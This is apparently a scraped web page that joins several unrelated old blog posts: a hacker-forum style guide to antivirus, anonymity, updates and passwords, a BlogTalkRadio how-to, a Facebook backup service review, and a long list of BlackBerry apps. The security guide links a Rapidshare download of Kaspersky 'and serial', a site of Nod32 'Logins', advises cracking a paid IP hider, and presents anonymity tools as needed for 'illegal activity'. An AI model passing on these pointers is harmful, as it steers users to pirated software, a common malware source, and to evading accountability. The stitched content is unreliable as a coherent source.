If there are malicious programs that you want to download such as Metasploit, it is best if you have an antivirus that will allow you to do so. Some antivirus programs will give you no option and will quarantine the file straight away, but others such as Kaspersky will give you the option to clean, remove or ignore.
Viruses can sometimes fully disable your protection, but the stronger programs such as Nod32 can withstand this and will be unclosable. You want something tough if you're going to be downloading riskware.
A good anti-virus will also constantly scan your downloads and running processes. Hopefully you are able to understand now why these are essential.
If you want to run more than one antivirus, you must find a combination that works. If you have a good antivirus, you won't need to. Infact, you shouldn't ever need to run more than one. I remember having Kaspersky running while I installed Nod32, my PC growled. :3 The only antivirus-related programs I have installed at the moment are HijackThis, ComboFix and NOD32. I like to use HijackThis to see what's running on my computer, and I always keep ComboFix just incase, you never know what's round the corner...
I remember having no antivirus software installed whatsoever, and then I received a rootkit that wouldn't let me download any software.. I got rid of them eventually, but it wasn't easy, the rootkit wasn't detected by most AV's because of it being so new/rare - you still can't find it on a few of the AV databases! But I do wish I had it again, so I could send it out as a sample.
I will be listing my favourite anti-viruses in my next post. I strongly recommend you stick to these, as there are many fake ones that you can be easily lead to. Remember to look things up before downloading them. Pick wisely! :3


The Top 5 Anti-virus Programs.
Here's the list of my top five favourite anti-virus programs in order.
You can pick which you want from each picture, but I'd recommend Kaspersky.

Kaspersky:

http://rapidshare.com/files/281661002/kaspersky-18-9-09.zip

and serial.

Nod32:

http://www.eset.com/

Logins: http://www.nod325.com/

Avast:

http://www.avast.com/eng/download-avast-home.html

Bitdefender:

http://www.bitdefender.com/site/Downloads/

Essential Additions.
There's a few more tools which I'm sure you'll definetely want to get.
HijackThis is a tool used to scan the areas of your computer which viruses are often located in. It will also scan the registry areas which hold the legitimate programs and, quite often, the infections. It is best not to delete ('fix checked') any entries on HijackThis unless you know what you're doing, as you may be removing something which is a required part of your system.
Another good thing about HijackThis is the fact that it's so lightweight, it uses barely any memory, it's easy to use, and you don't need to keep it running!
This is a great area to check if a process is harmful or not: http://www.bleepingcomputer.com/startups/
HijackThis can be found here: http://free.antivirus.com/hijackthis/

Browser Protection
There are several great addons for browsers which you can get to protect you from malicious websites.
If you use FireFox, look for "WOT" and "NoScript", WOT will give warnings before you visit a website, and NoScript will disable malicious scripts from running when you visit a website.
If you use Internet Explorer, look for "IE-Spyad", IE-Spyad will redirect you away from malicious webpages and guard you from over 5,000 different URL's.
I'm also working on my own plugin, which you can expect to see in a few months. This will be for IE only, until I fully figure out how FireFox operates.

Okay, now that you're protected (well, I hope you are), it's time to be invisible...

IP Hiders
You can get some great IP hiders to keep you anonymous.
A personal favourite is "Hide-The-IP", which allows you to select the proxy and choose the speed of the one you want.
Hide-The-IP can be found here: http://www.hide-the-ip.com/ - Though you may need to find a crack for it!
There are many fabulous IP hiders out there which can be found, and these are a must if you're going to be involved in any illegal activity.

Tor: Anonymity Online
You may want to download "Tor" and TorButton for FireFox. This is a program which will select a proxy for you and allow you to spoof your connection by using that.
TorButton is a FireFox addon which allows you to change your proxy quickly by clicking the button. This is a great tool, and another good reason to download FireFox!
The whole Tor website with information & downloads can be found here: http://www.torproject.org/


Alright, grab another cup o' coffee, 'cause we've still got more to do..

Personal Details
Okay, you may want to give out your name and things on your Facebook or MySpace, but if you do, it's wise to use an alternate alias. If someone searched your hacking alias in Google, they'd probably be able to pick up a lot of information on you from that. Think about the name you choose before you choose it, and make sure you don't over-use it - only use it where you think you should. Don't complain about not being anonymous if you're going to splurt out your details everywhere, you can't expect to stay hidden if you're going to give yourself away without realising. Remember that.

Keeping Software Updated
Software should always be kept updated. This is vital. Most security experts will tell you that updating your software is more important than having an antivirus, because malware finds flaws and vulnerabilities in software that it can exploit.
This is what should always be kept fully up to date:
Your operating system (e.g. updating from Windows XP SP1 to SP2).
Java.
Browser.
Antivirus.
Firewall.
Instant messaging or email applications.
Any other software which could be exploited.
Zer0man showed me this lovely website with scanners you can use to check for out-of-date software...
Here's the online version: http://secunia.com/vulnerability_scanning/online/
And the downloadable version: http://secunia.com/vulnerability_scanning/personal/
Quite obviously, the downloadable version scans for more vulnerabilities than the online version, and it includes more features. This is a great tool to use every few weeks, since you never know what's around the corner ;-)

Active Thinking
Many scams and computer infections require your consent, so you should always be wary. If something doesn't quite look right, make sure to research it. Many people are fooled into giving away their details by fake emails from companies such as banks, social networking websites, etc. You shouldn't believe everything you read. Many scams will lead you on, so you just have to watch out. Keep everything you've learned from this guide in mind, and you'll be safe.
A good quote from The Real Hustle: "If it looks too good to be true, then it probably is".

Passwords
Though it is also important to have a password you will remember, you should also be sure that it can't be guessed. If it's a site containing personal information, I suggest you change your password once a month. A good password would contain letters, numbers and symbols - maybe even words in a foreign language if it helps! An example of a good password would be "A$fao4iz3£p" not "John1982" or "ilovefootball". Passwords should be different for each website you use, because if someone hacked into a forum, for example, and took your details - potentially, they could have access to your payjerks account, Facebook, etc.

Well, you should know just about everything you need to know by now. If there's anything else you're wondering, don't hesitate to ask! I will be here for any questions, feedback or suggestions. This guide should keep you well-hidden and protected from now on, just remember to keep everything in mind!

How to Host Your Own Talk Show Online

So you’ve seen The Today Show, or Oprah, or Jerry Springer, and you’ve thought “hey, that could be me!” Well, except Jerry Springer – let’s hope you’ve never thought you could be Jerry. But anyway, being a talk show host looks like one of the most fun (not to mention most lucrative) jobs out there, if you ask me.

But how do you get a talk show? And how do you use it to make millions of dollars? Well, I can’t help with the second part (let me know if you figure it out), but I can help with the first. It’s called BlogTalkRadio, and is a fantastic Web app for becoming the host of your very own Internet talk show.

BlogTalkRadio is really two things: it’s a place to find talk and radio shows (sort of like a podcast library, really), as well as a way to create your own show. There’s tons of great stuff on BTR, but for now, we’ll just stick with creating your own show.

First things first: create an account with BTR (don’t worry, it’s both free and easy). The link’s a little hard to find at first, so I’ll help – it’s the “Register” link, at the top right of the home page screen.

Once you’ve created an account, you’ll see your Account central; it’s probably pretty empty at the moment. No worries, we’ll fix that. Click the “My Account” tab, and then select “Become a host now!” on the left side. Then, create your Host account – give it information like your Twitter account, Facebook account, show category, and all that jazz.

You get to personalize your show like crazy (though it’ll still be hosted by BlogTalkRadio) – add a logo, a link to a website, lots of links, and an audio clip to play at the beginnig; you can also change the link to the show (http://www.blogtalkradio/somethingorother) which lends to much more branding and personalization.

Show created, go back to the “My Account” page, and select “Add New Episode.” Add information about your soon-to-be-hit show’s first episode, as well as a time and date for the show. There are even a few ways to make some money with the episode, like showing related Amazon books. Once you’re done setting it up, you get a link to the show to share with the world.

When you’re ready to begin the show, the real beauty of BlogTalkRadio shines through. To get the show started literally couldn’t be any simpler. Every show has a phone number. You give out that number to one person, or a million, or make it public – totally up to you. During the show, people call the number to get connected to the show. You, as the host, can, with the press of a button, allow them to talk. Otherwise, they just sit in the queue, listening to the show and waiting for their turn. When you allow someone to talk, they’re connected with you as if you’re in a studio together – until you mute them again. Then they go away.

People can listen to the show either by calling in, subscribing by email or RSS, or just hunting you down and listening on your BTR page. After the show is completed, it gets archived on your page, where people can still listen to it or download the show.

BlogTalkRadio probably isn’t going to be your one-way ticket to super-stardom. But it’s a great place to create a show, talk about what your interested in, and get some real experience being a talk show host. And hey, who knows? Maybe you’ll be the first “straight from BTR to Late Night” story.

 

Are you already an Internet radio star? Have you tried anything like this before?

Backup Your Facebook Data With Social Safe

With 200 Million users, Facebook has become the most popular social platform. Along with tons of wall postings and messages, people store photo albums, videos and a number of other personal things on Facebook. What if one day you wake up and everything is gone? Chances are pretty slim that something like that would happen to your Facebook data, but should you take the risk?

SocialSafe is a new web service with a solution to this problem. For a little price ($2.99), they back up all your Facebook data and store it on your local machine so you can also browse it while you are offline. It is a neat idea and one that would definitely come in handy for people who spend countless hours on Facebook.

Currently, SocialSafe only supports Facebook but they promise coverage for more networks in the future. One big feature that I think they are missing is the ability to backup all this data in the cloud because a hard drive crash is probably more common than an accidental account deletion on Facebook. Right now this is something that would have to be done by the user. Check out their video to learn more about SocialSafe.

200+ BlackBerry Tour & Storm Applications with OTA download links

UPDATE : More Blackberry stuff added


Developers have started churning compatibility for their apps with Tour. Currently i was able to find some more than 50 apps and there would be many others which you can add in comments. If you are reading this in your BlackBerry you can surely try out any software by directly clicking on the OTA link (note that some may be deskyop links as well). The priced feature or app has been denoted with $. So here goes the list:

• 
  
  
  Bolt Browser - 3rd Party Web Browser - Free - Download
  
  
  
• BlackBerry App World -BlackBerry App World - Free - Download
• SocialScope  - Free- Download
• Berry Buzz - Custom LED alerts - $5.95- Download
• Berry Weather - Weather App - $9.95- Download
• SmrtGuard - OTA Data Backup - $3.99/month- Download
• I Love BlackBerry - Track your BlackBerry use - Free- Download
• Evernote -Free- Download
• BBFileScout - File manager - Free- Download
• QuickPull Pro - Simulate battery pull -$2.95- Download
• QuickLaunch - Application launcher - $4.99- Download
• FlyCast - Internet radio - Free- Download
• Poynt - Local search - Free- Download
• Nobex Radio Companion - Internet radio - Free or $3.99/month- Download
• WorldMate - Travel app - Free or $99.95/year- Download
• BlackBerry Wallet - Store shopping information - Free- Download
• QIK - Mobile video sharing - Free- Download
• Podtrapper - Podcast manager - $9.99- Download
• SlingPlayer - Control home TV & DVR - requires SlingBox- Download
• Vlingo - Speech recognition - Free or $17.99- Download
• Audible - Audible.com App - Free- Download
• BerryPopup - Preview Email/SMS - $6.95- Download
• Wifi file transfer - File Transfer - $9.99- Download
• Bartender Pro - Drink Catalog - $2.99- Download
• Bubble Defense - Tower Defense Game - $4.99- Download
• Trapster - Speed Trap Database - Free- Download
• Texas Hold’em King 3 - Poker Game - $6.99- Download
• Facebook - Social Networking - Free- Download
• WeatherBug - Weather App - Free- Download
• Shazam - Identify Music Tracks - Free (paid upgrade for more features)- Download
• Pandora - Internet Radio - Free- Download
• Google Lattitude - Mapping - Free- Download
• AP Mobile News - News App - Free- Download
• Redsox.com Shortcut - MLB Shortcut - Free- Download
• You Mail Visual Voicemail Plus - Visual Voicemail - Free- Download
• Nintaii -Game - $6.99- Download
• Slacker - Internet Radio - Free (paid upgrade for more features)- Download
• TeleNav Navigator - GPS - $9.99/month- Download
• Flixster - Social Network (Movies) - Free- Download
• Google Voice for BlackBerry - Google Voice Mobile App - Free- Download
• Movela Netflix Queue Manage - Netflix Movie Manager - $2.99- Download
• Capture It (OTA) -On Device Screen Capture - Free- Download
• Bank of America - Mobile Banking - Free- Download
• Mara Tick - Shopping List App - Free- Download
• VZ Navigator - Installed on VZW Devices - $9.99/month- Download
• Amazon App - Amazon.com Mobile App - Free- Download
• Spider Solitaire - Solitaire Game - $3.99- Download
• BeeJive IM - IM App - $19.95- Download
• Gmail App - Gmail Mobile App - Free- Download
• UberTwitter - Twitter Client - Free- Download
• BB Tetris - Tetris - Free- Download
• VibAndRing - Ring and Vibrate - $2.95- Download
• MIU Tunes - MP3 Player - $19.95- Download
• QSMS - Quickly Compose SMS - Free- Download
• GoogleTalk - IM Client - Free- Download
• Shrink It (OTA) - Shrink Images - Free- Download
• Berry Scanner - Police Scanner - Free- Download
• Google Maps - Maps - Free- Download
• Google Sync - Sync Google Calendar - Free- Download
• 123 Spoof - Caller ID Spoofing, Call Recording, & More - $4.95 for 25 credits- Download
• Score Mobile - sports scores etc - Free- Download
• AddToCalendar: 1.1.6 - OTA (Create Appt. from email)
  
• AIM (RIM): 2.1(?) - OTA/IE Web Install (IM) [v2.0 avail for 8130/8830] NO AT&T!
  
• amAze: 4.2 - OTA / Web (GPS Navigation, Search, Weather, etc.)
  
• AutoLock: 0.5 - OTA / Web
  
• AvantGo: 1.0.28 - OTA
  
• BBChecklist: 1.1.0 - OTA
  
• BBCorrector: 1.2.2 - OTA (Free Online Spell Check)
  
• BBNotePad: 1.1.0 - OTA/Web (Simple Text Editor)
  
• BBWeather: 0.77 - OTA (WORKS AGAIN!)
  
• BeamBerry: 3.0.1 - OTA - Web (Trial Doc Mgmt)
  
• Beejive: 1.1.0 - OTA/Web (Formerly Jivetalk)
  
• Beiks FTP: 1.0 - OTA - Web
  
• BenchmarkMagic: 1.5 - OTA
  
• Berry Bloglines: 1.0 - OTA/Web (RSS)
  
• Berry Lookup: 1.0 - OTA - Web (Rev Ph Lookup)
  
• BerryQuery.com: 2.0.0 - OTA (Web Search)
  
• BerrySearch: 0.91 - OTA / Web (Front End for major Search Engines)
  
• Beyond411: 4.20.5 - OTA - Web (formerly Berry 411 - Search w/GPS)
  
• BlackBerry Maps (RIM): 1.2.26 - OTA/IE Web Install - Desktop Install (w/GPS - AT&T? Use Desktop!)
  
• BlackBerry Instant Messaging for IBM(R) Lotus(R) Sametime(R): 1.1.32 & 2.0.25 - WEB
  
• BlackBerry Instant Messaging for Microsoft Office LCS 2005: 1.1.0.18 & 2.0.25 - WEB (Other versions may be available directly from RIM)
  
• BlackBerry Messenger (RIM): 1.0.94 - OTA/IE Web Install (PIN IM - OS 4.0 & 4.1 only)
  
• BlackBerry Profile Switcher: 1.3 - OTA - Web ($)
  
• BlackBerryWiki: 1.0.1 - OTA (Wikipedia Front End)
  
• Blipsocial: 0.766 - OTA/Web (w/GPS)
  
• Bloomberg: 1.8.9.5 - OTA/Web Info ($ Requires Bloomberg Anywhere subscription)
  
• Clock: 0.9.57 - OTA / Web (aka World Clock)
  
• CompanionLink for Google: 3.0 - Web ($Sync w/Google Calendar)
  
• Compass: 4.1 - OTA - Web (NOT GPS app)
  
• Countdown Timer: 1.0.6 - OTA/Web
  
• Cram: 1.0 - OTA / Web ($ Scholastic Testing)
  
• Dexrex: 2.0.9 - OTA (SMS archive service)
  
• Digby: 2.0.1 - OTA (Shopping)
  
• Dynoplex Office Products: OTA - Web ($Doc Mgmt, Spell, Off Line File Mgmt)
  
• EasyReach: 2.6.1.2 - OTA/Web (Shopping)
  
• eBuddy: 1.0 - OTA - Web (Multinetwork IM)
  
• Empower BES MailBox: 3.0.1.52 - OTA - Web ($)
  
• Empower HTML Mail Viewer PRO: 3.0.68.7 - OTA - Web ($)
  
• Empower HTML Mail Viewer Standard: 2.6.42.7 - OTA - Web ($)
  
• Empower InstaSpell: 1.5.421.51 - OTA - Web ($)
  
• EQO: 1.6.1 - SMS Web Registration / Web (IM NRFPT Free multi-network IM and more)
  
• eTrade: 1.1.3 - OTA / Web
  
• Facebook (RIM): 1.2.0 - OTA/Web
  
• Financial Times: 1.2.0 - OTA/Web ($ubscription required)
  
• Flickr Uploader (RIM): 1.0.0 - OTA/Web (RIM)
  
• FlipSide: 1.14 - OTA - Web (Media Player)
  
• fotochatter: 0.9.9 - OTA (Quick Download - Code 2402)
  
• FreeRange: 2.2.8 - OTA (RSS)
  
• Future Shop: 1.0.0.43 - OTA/Web (Shopping - Installs RIM’s ECOE)
  
• Games Trivia: 2.2.4 - OTA
  
• GCalSync: 1.1.1 - OTA - Web
  
• GeoTip: 0.0.1 - OTA/Web (Tip Calc)
  
• Gmail: 2.0.5 - OTA
  
• Godiva: 1.8.0 - OTA (For Chocoholics)
  
• Google Maps: 2.3.1 - OTA (w/GPS and Cell Tower Locater, Street Views, Walking & Transit Directions w/NYC Subway!)
  
• Google Mobile App: 3.1.131 - OTA (replaces Updater)
  
• Google Mobile Updater: 2.1.4 - OTA (Sync, Search, Maps, Gmail, News, Reader, Docs, Picasa)
  
• Google Search: 3.0.73 OTA
  
• Google Sync: 0.4.6 - OTA (sync Google Calendar)
  
• Google Talk (RIM): 2.1.33 - OTA/Web (IM)
  
• GPSed: 1.0 - OTA / Web (GPS)
  
• GridMagic: 3.3.0.198 - OTA / WEB (Free or $ Spreadsheet for BB!)
  
• gWhiz Suite: 0.6.3 - OTA / Web (Click Terms and Conditions Link)
  
• gCalc!: 0.6.3 (Graphing Calculator - Help)
  
• gFlash+: 0.6.3 (Flash Cards - Help)
  
• gRef: 0.6.3 (Reference Tables - Help)
  
• Handango InHand: 3.4 - OTA - Web (BB commercial Software)
  
• Hebrew in Hand: 2.0 - OTA/Web ($)
  
• ICQ (RIM): 1.1.13 - OTA/IE Web Install (IM) NO AT&T!
  
• IM+: 5.2.7 - OTA - Web (IM)
  
• InstaGo: 0.57.10 - OTA / Web (Free IM - All networks & SMS NRFPT)
  
• ITookThisOnMyPhone: 2.0.0.8 - OTA / Web
  
• Infospace Findit!: 1.4.0 - OTA (Portal w/GPS)
  
• JBenchmark: 1.1.1 - OTA
  
• JBenchmark 2: 2.1.1 - OTA
  
• JBenchmark Net: 1.0.3 - OTA
  
• JBenchmark Pro: 1.0.4 - Web (Create custom Benchmark)
  
• JiveSlide: 0.964.1 - OTA (Pics)
  
• JiveTalk: 1.0.5 - OTA (IM w/File Xfer)
  
• JiveTalk Preview: 1.0.1 - OTA (IM w/File Xfer)
  
• Jott: 1.1 - OTA / Web (Voice reply to email!)
  
• LexSpell: 2.1 - OTA (Nagware Offline spellchecker)
  
• Live Search Beta: 2.0.3048.13898 - OTA (MS w/GPS)
  
• LogicMail: 1.0.1 - OTA - Web (don’t get the point, but…)
  
• MapQuest 4 Mobile Beta: 1.7.2600 - OTA / Web (Free - for now)
  
• MaraTick: 1.0.4 - OTA/Web (Lists)
  
• Market Explorer: 1.0.6 - OTA - Web (Stock Quotes, Charts, etc.)
  
• Market Filters: 2.2 - OTA (Stock Analysys)
  
• Maufait: 1.0.8 - OTA (Portal)
  
• MaxMem: 0.2 - OTA (Remove unneeded modules like PTT)
  
• MemoryUp: 2.50 - OTA/Web (Trial=Quick Boost Only/$)
  
• MicroSky: 3.1.2 - OTA (Mobile Planetarium)
  
• MidpSSH: 1.7.3 - OTA - Web (SSH Client)
  
• MiniMoni: 1.01.03 - OTA / Web (Traffic Monitor)
  
• MLBTracker: 0.85 - OTA/Web (Track your team)
  
• Mobile File Manager: 2.5.36 - OTA / Web
  
• Mobipocket Reader: 6.0.0.076 - OTA (Free eBook reader - $ for Books)
  
• Mortgage Calc: 3.0 - OTA/Web
  
• mundu IM: 4.0.5 - Web ($11 Lifetime!)
  
• MyAlarm: 2007.07.04 - Web
  
• MyGirls: 1.0.0 - OTA (Quick Download - Code 57)
  
• MSN Messenger (RIM): 1.0.16 - OTA/IE Web Loader
  
• NeoReader: 1.01.1 - OTA (Camera devices only!)
  
• Newsgator Go!: 2.2.7 - OTA - Web (RSS)
  
• Nobex: 0.9.0.34 - OTA/Web (Radio Info emailer HUH?)
  
• nuTsie: 0.9.8 - Web ($ Stream Playlists)
  
• Opera Mini 3: 3.1.2 - OTA
  
• Opera Mini 4: 4.0 - OTA/Web
  
• Opera Mini 4.1 Beta: 4.1 - Web
  
• Palringo: 0.70 - OTA / Web (IM NRFPT)
  
• Pinger: 2.0 - Web (Voice@SMS - use Web link to get OTA)
  
• PinStack IRC: 1.01 - OTA - Web
  
• Pocket Express: 4.02.3 - OTA - Web (Portal)
  
• Poynt: 0.9.6 - OTA / Web (aka MyPoynt)
  
• QSMS: 0.1 - OTA / Web (Press ‘Q’ to Compose SMS)
  
• Ramble: 0.9.10.8.1 - OTA (AIM IM)
  
• SameCell: 2.04 - OTA / Web (Search by Cell Location NRFPT)
  
• SignalLoc: 0.1.710 - OTA / Web (Cell Tower Locater)
  
• ShoZu: ??? - OTA / Web (Yet another “social” / IM Network)
  
• ShrinkIt: 1.0 - OTA / Web (Resize pics on your BB)
  
• Skip: 1.2.0 - OTA (Travel)
  
• Slifter: 1.8.0 - OTA / Web (Localized shopping search)
  
• Soft Reset: 0.2 - OTA/Web
  
• Spot: 1.4.1 - OTA (GPS)
  
• SpotJots: 1.01.00 - OTA / Web (w/GPS)
  
• Stock Quote Viewer: 2.7 - OTA/Web
  
• SyncJe: 2.43 - OTA - Web (PIM Sync $)
  
• Tellme: 1.69.5 - OTA / Web
  
• TinyTwitter: 1.1.0 - OTA / Web (Twitter IM Client)
  
• TipBuddy: 1.0 - Web
  
• Tip Master 2: 1.0.1 - OTA/Web
  
• Traffic Cam: 2.12 - OTA Link via SMS (Live Traffice Web Cams on your BB - 10 Cities)
  
• TVGuide: 2.0.0 - OTA/Web-SMS
  
• TwitterBerry: 0.6 - OTA (Twitter IM Client)
  
• txtForward: 1.0.0.0 - OTA / Web ($ Forwards incoming SMS messages to email address)
  
• Twibble: 0.8.3 - OTA / Web (A location aware Twitter client)
  
• TypePad: 1.0.34 - OTA/Web ($Blogging)
  
• Umundo: 1.06 - OTA / Web (Multimedia Chat Add-In)
  
• Unit Converter: 1.2.2 - OTA / Web / Wap (GetJar 5229)
  
• Upvise: 1.9 - OTA / Web
  
• Viigo: 2.2.82 - OTA - Web (RSS)
  
• Viigo Project Tango Public Beta: 3.0.111 - OTA / Web (RSS Plus…)
  
• (BlackBerry) Wallet (RIM): 1.0.0.31 - OTA/Web
  
• WeatherBug Direct: 0.9.6.6 - OTA - Web
  
• WeatherEye: 1.0.21.0 - OTA - Web - WAP (from The Weather Network)
  
• WebMessenger: 2.7.0415 - Web (IM All Networks)
  
• Web Shortcuts: 2.1.2 - OTA - Info
  
• Where: 2.1 - OTA / Web / WAP (GPS Search NRFPT)
  
• Whereboutz: 1.0.11 - OTA / Web
  
• Whrrl: 7.0 - OTA / Web (NRFPT)
  
• Windows Live Messenger: 2.1.36 - OTA/IE Web Install (Works on AT&T!)
  
• Wireless18: 2.4.13 - OTA / Web (Free. Registration required)
  
• WorldMate Live: 2.5.20 - OTA - Web (Itinerary)
  
• WSJMobileReader: 1.1.4 - OTA (FreeRange News Reader for WSJ)
  
• xPlayer: 1.0.1 - OTA / Web (Media Player)
  
• xTemplate: - OTA / Web (Email Templates)
  
• Yahoo! Go: 2.0.69 - OTA (Portal w/GPS)
  
• Yahoo! Go: 3.0.43 - OTA - Web (Portal w/GPS)
  
• Yahoo! Messenger (RIM): 2.1.33 - OTA/IE Web Install (IM - STILL Does NOT work with AT&T!!!)
  
• Yahoo! oneSearch: 1.1.9879 - OTAWeb-SMS (Voice Search)
  
• YellowPages.com Mobile: 1.0.6 - OTA - Web - WAP (Business Search)
  
• YWeather: 0.4.1 - OTA/Web
  
• Zagat: 5.1.1 - OTA / Web ($ - Registration required)
  
• Zumobi: 1.0 - OTA / Web (RSS and more NRFPT)

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